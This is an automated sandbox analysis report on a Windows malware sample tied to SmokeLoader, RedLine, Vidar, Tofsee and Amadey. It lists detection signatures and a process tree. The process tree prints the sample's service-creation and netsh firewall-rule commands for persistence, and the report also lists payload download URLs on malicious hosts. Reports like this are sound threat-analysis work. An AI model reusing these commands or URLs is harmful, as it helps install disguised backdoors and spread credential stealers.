Play interactive tour

Edit tour

Windows Analysis Report emPJndhuvA.exe

Overview

General Information

Sample Name:	emPJndhuvA.exe
Analysis ID:	552870
MD5:	a7444553f8a8fe2702b6fd48008d6605
SHA1:	f6d3d6ccf728ae7ab39b7e29f21ae5bcc7fce98b
SHA256:	ba5303301925a877689b30efc36f872564f06906b2a61d7c3a7c955b0587d4f8
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

Amadey RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

Yara detected Amadey bot

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Uses netsh to modify the Windows network and firewall settings

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Creates files in the system32 config directory

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Checks if the current machine is a virtual machine (disk enumeration)

Writes to foreign memory regions

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Modifies the windows firewall

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Found decision node followed by non-executed suspicious APIs

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Sigma detected: Netsh Port or Application Allowed

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Uses SMTP (mail sending)

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

emPJndhuvA.exe (PID: 3352 cmdline: "C:\Users\user\Desktop\emPJndhuvA.exe" MD5: A7444553F8A8FE2702B6FD48008D6605)

emPJndhuvA.exe (PID: 4160 cmdline: "C:\Users\user\Desktop\emPJndhuvA.exe" MD5: A7444553F8A8FE2702B6FD48008D6605)

explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

2819.exe (PID: 3104 cmdline: C:\Users\user\AppData\Local\Temp\2819.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 5956 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 540 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

3D67.exe (PID: 5276 cmdline: C:\Users\user\AppData\Local\Temp\3D67.exe MD5: BB0BA8D31F37E6B9F683EBD9044F1A85)

3D67.exe (PID: 4968 cmdline: C:\Users\user\AppData\Local\Temp\3D67.exe MD5: BB0BA8D31F37E6B9F683EBD9044F1A85)

FD2B.exe (PID: 468 cmdline: C:\Users\user\AppData\Local\Temp\FD2B.exe MD5: CEBAF005081C730D4AC7A87E46B440D0)

952.exe (PID: 1068 cmdline: C:\Users\user\AppData\Local\Temp\952.exe MD5: 4C29CFD658E015FA4DB5A2454F103D4A)

cmd.exe (PID: 4356 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bhlprady\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6248 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6304 cmdline: C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6372 cmdline: C:\Windows\System32\sc.exe" description bhlprady "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6412 cmdline: "C:\Windows\System32\sc.exe" start bhlprady MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6460 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 6492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

13E2.exe (PID: 2316 cmdline: C:\Users\user\AppData\Local\Temp\13E2.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

13E2.exe (PID: 6652 cmdline: C:\Users\user\AppData\Local\Temp\13E2.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

svchost.exe (PID: 4372 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4596 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4400 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5784 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5400 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5056 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 2872 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 5796 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3540 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 6628 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 1280 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

tiftjuh (PID: 4892 cmdline: C:\Users\user\AppData\Roaming\tiftjuh MD5: A7444553F8A8FE2702B6FD48008D6605)

tiftjuh (PID: 5816 cmdline: C:\Users\user\AppData\Roaming\tiftjuh MD5: A7444553F8A8FE2702B6FD48008D6605)

svchost.exe (PID: 5208 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 5736 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3104 -ip 3104 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

vodibdaj.exe (PID: 6484 cmdline: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d"C:\Users\user\AppData\Local\Temp\952.exe" MD5: E331BE085840751FF0AC8DCBCDC5F5E3)

svchost.exe (PID: 6580 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.310069625.0000000001F51000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001C.00000002.386280466.0000000001F30000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000020.00000002.447751764.0000000004021000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001C.00000002.386498287.0000000002431000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000002.412229320.0000000000580000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001D.00000002.379514532.0000000000482000.00000004.00000020.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.379514532.0000000000482000.00000004.00000020.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000000.295057363.0000000003A61000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000015.00000002.360645909.00000000004D1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001E.00000003.383697292.00000000005A0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000031.00000000.439581609.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.309813053.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000002C.00000002.417710033.0000000000540000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002C.00000002.417504443.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002E.00000002.543176167.00000000001E0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002C.00000002.417841182.0000000000610000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000015.00000002.360518485.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000031.00000000.440529688.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000031.00000000.438204104.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002C.00000003.415295647.0000000000560000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000031.00000000.438919609.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 952.exe PID: 1068	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: vodibdaj.exe PID: 6484	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author
1.1.emPJndhuvA.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.tiftjuh.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.tiftjuh.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.tiftjuh.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.13E2.exe.413f910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
28.1.3D67.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
44.3.vodibdaj.exe.560000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
30.3.952.exe.5a0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
20.2.tiftjuh.4615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
44.2.vodibdaj.exe.610000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
30.2.952.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
30.2.952.exe.580e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.2.emPJndhuvA.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.13E2.exe.413f910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
21.1.tiftjuh.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
44.2.vodibdaj.exe.540e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.2.emPJndhuvA.exe.5315a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
44.2.vodibdaj.exe.610000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
28.2.3D67.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.2.952.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
21.0.tiftjuh.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
44.2.vodibdaj.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
25.2.3D67.exe.4615a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
44.2.vodibdaj.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 19 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d"C:\Users\user\AppData\Local\Temp\952.exe", ParentImage: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe, ParentProcessId: 6484, ProcessCommandLine: svchost.exe, ProcessId: 6580

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\, CommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\952.exe, ParentImage: C:\Users\user\AppData\Local\Temp\952.exe, ParentProcessId: 1068, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\, ProcessId: 6248

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d"C:\Users\user\AppData\Local\Temp\952.exe", ParentImage: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe, ParentProcessId: 6484, ProcessCommandLine: svchost.exe, ProcessId: 6580

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\952.exe, ParentImage: C:\Users\user\AppData\Local\Temp\952.exe, ParentProcessId: 1068, ProcessCommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, ProcessId: 6460

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\952.exe, ParentImage: C:\Users\user\AppData\Local\Temp\952.exe, ParentProcessId: 1068, ProcessCommandLine: C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 6304

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://data-host-coin-8.com/files/4918_1642080252_3360.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/8474_1641976243_3082.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9006_1642091568_3496.exe	Avira URL Cloud: Label: malware
Source: http://unicupload.top/install5.exe	URL Reputation: Label: phishing
Source: http://privacy-tools-for-you-780.com/downloads/toolspab3.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\13E2.exe

Avira: detection malicious, Label: HEUR/AGEN.1211353

Multi AV Scanner detection for submitted file

Show sources

Source: emPJndhuvA.exe	Virustotal: Detection: 40%			Perma Link
Source: emPJndhuvA.exe	ReversingLabs: Detection: 65%

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\2819.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\5F8C.exe	Metadefender: Detection: 29%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\5F8C.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\tiftjuh	ReversingLabs: Detection: 65%

Machine Learning detection for sample

Show sources

Source: emPJndhuvA.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\7E61.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\952.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6B74.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\tiftjuh	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5F8C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\45F8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\vodibdaj.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B1F6.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9054.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CA61.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Joe Sandbox ML: detected

Source: 30.3.952.exe.5a0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 44.2.vodibdaj.exe.610000.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 30.2.952.exe.580e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 29.3.FD2B.exe.5a0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 44.2.vodibdaj.exe.540e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 29.2.FD2B.exe.580e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 44.3.vodibdaj.exe.560000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 30.2.952.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 44.2.vodibdaj.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	29_2_00407470
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	29_2_00404830
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	29_2_00407510
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00407190 CryptUnprotectData,	29_2_00407190
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	29_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005876C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	29_2_005876C0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00584A80 CryptStringToBinaryA,CryptStringToBinaryA,	29_2_00584A80
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00587760 CryptUnprotectData,LocalAlloc,LocalFree,	29_2_00587760
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005879F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	29_2_005879F0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005873E0 CryptUnprotectData,	29_2_005873E0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Unpacked PE file: 29.2.FD2B.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\952.exe	Unpacked PE file: 30.2.952.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Unpacked PE file: 44.2.vodibdaj.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Unpacked PE file: 44.2.vodibdaj.exe.400000.0.unpack

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.5:49846 version: TLS 1.0

Source: emPJndhuvA.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\AppData\Local\Temp\2819.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.38.221:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49839 version: TLS 1.2

Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 2819.exe, 00000016.00000000.348562532.0000000000413000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.361993606.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.426093244.0000000005790000.00000002.00020000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000001B.00000003.370138407.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.370897133.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.369939315.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.369869588.0000000005387000.00000004.00000001.sdmp
